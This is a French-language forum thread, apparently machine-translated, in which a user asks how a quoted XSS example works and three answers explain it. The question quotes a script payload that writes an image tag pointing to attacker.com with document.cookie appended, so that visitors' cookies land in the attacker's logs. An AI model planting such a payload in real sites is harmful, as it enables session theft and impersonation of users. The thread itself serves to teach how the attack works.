Question sur un type d'attaque XSS

Question

Citée de http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt:

---

Comme beaucoup ici savent probablement, les attaques actuelles XSS viennent typiquement en deux saveurs: 1 - ajouts Attacker balises à une carte de bulliten publique, blog, ou un autre site qui a a une vulnérabilité XSS et que beaucoup d'autres utilisateurs visiteront. L'attaquant normalement récolte des cookies de site pour usurper l'identité de l'utilisateur, mais des soumissions de formulaire et d'autres attaques sont parfois utilisées. C'est ce que beaucoup de gens à qui je parle pensent que XSS est. Voici un exemple:

Quelqu'un posterais ce qui suit sur evilblog.com que d'autres utilisateurs traiteraient

<script>document.write("<img src=http://attacker.com/” + document.cookie + “>”)</script> 

Cela essaierait de tirer une image avec evilblog de l'utilisateur hors du serveur de l'attaquant cookies dans l'URL .

---

Ma question:

Je ne comprends pas le but/résultat de chemin d'URL de l'image ci-dessus en cours d'écriture. Quelqu'un peut-il en dire plus à ce sujet?

PS: Qu'est-ce que cela signifie pour « Cela essaierait de tirer une image hors serveur de l'attaquant avec les cookies evilblog de l'utilisateur dans l'URL »

Answer 1

Le fichier document.write() ajoute simplement une balise img au site et le navigateur tente de charger l'image à partir de cette URL. Les scripts et les images sont parfois bloqués lorsqu'ils proviennent d'un domaine différent, de sorte que l'attaque XSS échoue dans ce cas. Les images sont généralement autorisées car de nombreux sites affichent des images provenant d'un hôte différent, de sorte que l'attaque XSS réussira. Le résultat est une entrée dans le journal des attaquants qui contient les informations du cookie et comme il ne renvoie généralement rien, il est interprété comme une image brisée, donc la plupart des navigateurs n'affichent rien et les utilisateurs ne suspectent rien.

Answer 2

Le but est que l'image est automatiquement récupéré par le navigateur; Dans l'exemple, les détails du cookie sont définis dans la chaîne de requête à cette URL, et l'attaquant obtient l'URL, obtient le cookie, et obtient ainsi les détails requis pour l'authentification.

Answer 3

Simple. Il lance une requête vers un domaine hostile qui contient le cookie dans l'URL de la requête.